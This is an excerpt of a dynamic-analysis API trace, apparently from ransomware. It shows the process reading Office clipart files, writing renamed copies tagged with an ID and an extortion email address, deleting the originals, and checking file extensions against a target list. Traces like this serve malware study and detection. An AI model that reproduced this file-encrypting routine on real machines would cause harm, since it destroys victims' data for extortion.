	[0194.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0194.732] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=27084) returned 1
	[0194.733] CloseHandle (hObject=0x5d8) returned 1
	[0194.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 0x220
	[0194.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0194.733] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.733] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0194.734] GetLastError () returned 0x0
	[0194.734] ReadFile (in: hFile=0x5d8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x69cc, lpOverlapped=0x0) returned 1
	[0194.737] WriteFile (in: hFile=0x5ac, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x69d0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x69d0, lpOverlapped=0x0) returned 1
	[0194.738] ReadFile (in: hFile=0x5d8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.738] WriteFile (in: hFile=0x5ac, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0194.738] SetEndOfFile (hFile=0x5ac) returned 1
	[0194.738] CloseHandle (hObject=0x5ac) returned 1
	[0194.739] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.739] SetEndOfFile (hFile=0x5d8) returned 1
	[0194.743] CloseHandle (hObject=0x5d8) returned 1
	[0194.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 1
	[0194.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0194.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0194.744] lstrlenW (lpString=".doc") returned 4
	[0194.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.744] lstrlenW (lpString=".docx") returned 5
	[0194.744] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0194.744] lstrlenW (lpString=".pdf") returned 4
	[0194.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.744] lstrlenW (lpString=".xls") returned 4
	[0194.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.744] lstrlenW (lpString=".xlsx") returned 5
	[0194.744] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0194.744] lstrlenW (lpString=".ppt") returned 4
	[0194.744] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0194.744] lstrlenW (lpString=".zip") returned 4
	[0194.744] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.744] lstrlenW (lpString=".rar") returned 4
	[0194.744] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.744] lstrlenW (lpString=".bz2") returned 4
	[0194.744] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.744] lstrlenW (lpString=".7z") returned 3
	[0194.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0194.745] lstrlenW (lpString=".dbf") returned 4
	[0194.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0194.745] lstrlenW (lpString=".1cd") returned 4
	[0194.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0194.745] lstrlenW (lpString=".jpg") returned 4
	[0194.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0194.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0194.745] lstrlenW (lpString=".doc") returned 4
	[0194.745] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.745] lstrlenW (lpString=".docx") returned 5
	[0194.745] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0194.745] lstrlenW (lpString=".pdf") returned 4
	[0194.745] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.745] lstrlenW (lpString=".xls") returned 4
	[0194.745] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.745] lstrlenW (lpString=".xlsx") returned 5
	[0194.745] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0194.745] lstrlenW (lpString=".ppt") returned 4
	[0194.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0194.745] lstrlenW (lpString=".zip") returned 4
	[0194.745] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.745] lstrlenW (lpString=".rar") returned 4
	[0194.745] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.746] lstrlenW (lpString=".bz2") returned 4
	[0194.746] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.746] lstrlenW (lpString=".7z") returned 3
	[0194.746] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0194.746] lstrlenW (lpString=".dbf") returned 4
	[0194.746] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0194.746] lstrlenW (lpString=".1cd") returned 4
	[0194.746] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0194.746] lstrlenW (lpString=".jpg") returned 4
	[0194.746] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.746] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0194.746] lstrlenW (lpString="J0107132.WMF") returned 12
	[0194.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0194.747] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=48380) returned 1
	[0194.747] CloseHandle (hObject=0x5d8) returned 1
	[0194.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 0x220
	[0194.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0194.748] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.748] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0194.749] GetLastError () returned 0x0
	[0194.749] ReadFile (in: hFile=0x5d8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0xbcfc, lpOverlapped=0x0) returned 1
	[0194.753] WriteFile (in: hFile=0x5ac, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xbd00, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xbd00, lpOverlapped=0x0) returned 1
	[0194.755] ReadFile (in: hFile=0x5d8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.755] WriteFile (in: hFile=0x5ac, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0194.755] SetEndOfFile (hFile=0x5ac) returned 1
	[0194.755] CloseHandle (hObject=0x5ac) returned 1
	[0194.755] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.755] SetEndOfFile (hFile=0x5d8) returned 1
	[0194.954] CloseHandle (hObject=0x5d8) returned 1
	[0194.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0195.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 1
	[0195.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0195.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0195.231] lstrlenW (lpString=".doc") returned 4
	[0195.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.231] lstrlenW (lpString=".docx") returned 5
	[0195.231] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0195.231] lstrlenW (lpString=".pdf") returned 4
	[0195.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.231] lstrlenW (lpString=".xls") returned 4
	[0195.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.231] lstrlenW (lpString=".xlsx") returned 5
	[0195.231] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0195.231] lstrlenW (lpString=".ppt") returned 4
	[0195.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0195.231] lstrlenW (lpString=".zip") returned 4
	[0195.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.231] lstrlenW (lpString=".rar") returned 4
	[0195.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.232] lstrlenW (lpString=".bz2") returned 4
	[0195.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.232] lstrlenW (lpString=".7z") returned 3
	[0195.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0195.232] lstrlenW (lpString=".dbf") returned 4
	[0195.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0195.232] lstrlenW (lpString=".1cd") returned 4
	[0195.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0195.232] lstrlenW (lpString=".jpg") returned 4
	[0195.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0195.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0195.232] lstrlenW (lpString=".doc") returned 4
	[0195.232] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.232] lstrlenW (lpString=".docx") returned 5
	[0195.232] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0195.232] lstrlenW (lpString=".pdf") returned 4
	[0195.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.232] lstrlenW (lpString=".xls") returned 4
	[0195.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.232] lstrlenW (lpString=".xlsx") returned 5
	[0195.232] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0195.232] lstrlenW (lpString=".ppt") returned 4
	[0195.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0195.233] lstrlenW (lpString=".zip") returned 4
	[0195.233] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.233] lstrlenW (lpString=".rar") returned 4
	[0195.233] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.233] lstrlenW (lpString=".bz2") returned 4
	[0195.233] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.233] lstrlenW (lpString=".7z") returned 3
	[0195.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0195.233] lstrlenW (lpString=".dbf") returned 4
	[0195.233] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0195.233] lstrlenW (lpString=".1cd") returned 4
	[0195.233] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0195.233] lstrlenW (lpString=".jpg") returned 4
	[0195.233] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.233] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0195.233] lstrlenW (lpString="J0107134.WMF") returned 12
	[0195.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0195.309] GetFileSizeEx (in: hFile=0x5dc, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=48388) returned 1
	[0195.309] CloseHandle (hObject=0x5dc) returned 1
	[0195.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf")) returned 0x220
	[0195.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0195.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0195.418] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.418] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0195.471] GetLastError () returned 0x0
	[0195.471] ReadFile (in: hFile=0x5b4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0xbd04, lpOverlapped=0x0) returned 1
	[0195.474] WriteFile (in: hFile=0x5bc, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xbd10, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xbd10, lpOverlapped=0x0) returned 1
	[0195.476] ReadFile (in: hFile=0x5b4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0195.476] WriteFile (in: hFile=0x5bc, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0195.476] SetEndOfFile (hFile=0x5bc) returned 1
	[0195.476] CloseHandle (hObject=0x5bc) returned 1
	[0195.477] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.477] SetEndOfFile (hFile=0x5b4) returned 1
	[0195.480] CloseHandle (hObject=0x5b4) returned 1
	[0195.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0195.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf")) returned 1
	[0195.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0195.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0195.488] lstrlenW (lpString=".doc") returned 4
	[0195.488] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.488] lstrlenW (lpString=".docx") returned 5
	[0195.488] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0195.488] lstrlenW (lpString=".pdf") returned 4
	[0195.488] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.488] lstrlenW (lpString=".xls") returned 4
	[0195.488] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.488] lstrlenW (lpString=".xlsx") returned 5
	[0195.488] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0195.488] lstrlenW (lpString=".ppt") returned 4
	[0195.488] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0195.488] lstrlenW (lpString=".zip") returned 4
	[0195.488] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.488] lstrlenW (lpString=".rar") returned 4
	[0195.488] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.488] lstrlenW (lpString=".bz2") returned 4
	[0195.488] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.488] lstrlenW (lpString=".7z") returned 3
	[0195.488] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0195.489] lstrlenW (lpString=".dbf") returned 4
	[0195.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0195.489] lstrlenW (lpString=".1cd") returned 4
	[0195.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0195.489] lstrlenW (lpString=".jpg") returned 4
	[0195.489] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0195.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0195.489] lstrlenW (lpString=".doc") returned 4
	[0195.489] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.489] lstrlenW (lpString=".docx") returned 5
	[0195.489] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0195.489] lstrlenW (lpString=".pdf") returned 4
	[0195.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.489] lstrlenW (lpString=".xls") returned 4
	[0195.489] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.489] lstrlenW (lpString=".xlsx") returned 5
	[0195.489] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0195.489] lstrlenW (lpString=".ppt") returned 4
	[0195.489] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0195.489] lstrlenW (lpString=".zip") returned 4
	[0195.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.490] lstrlenW (lpString=".rar") returned 4
	[0195.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.490] lstrlenW (lpString=".bz2") returned 4
	[0195.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.490] lstrlenW (lpString=".7z") returned 3
	[0195.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0195.490] lstrlenW (lpString=".dbf") returned 4
	[0195.490] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0195.490] lstrlenW (lpString=".1cd") returned 4
	[0195.490] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0195.490] lstrlenW (lpString=".jpg") returned 4
	[0195.490] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.490] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0195.490] lstrlenW (lpString="J0107148.WMF") returned 12
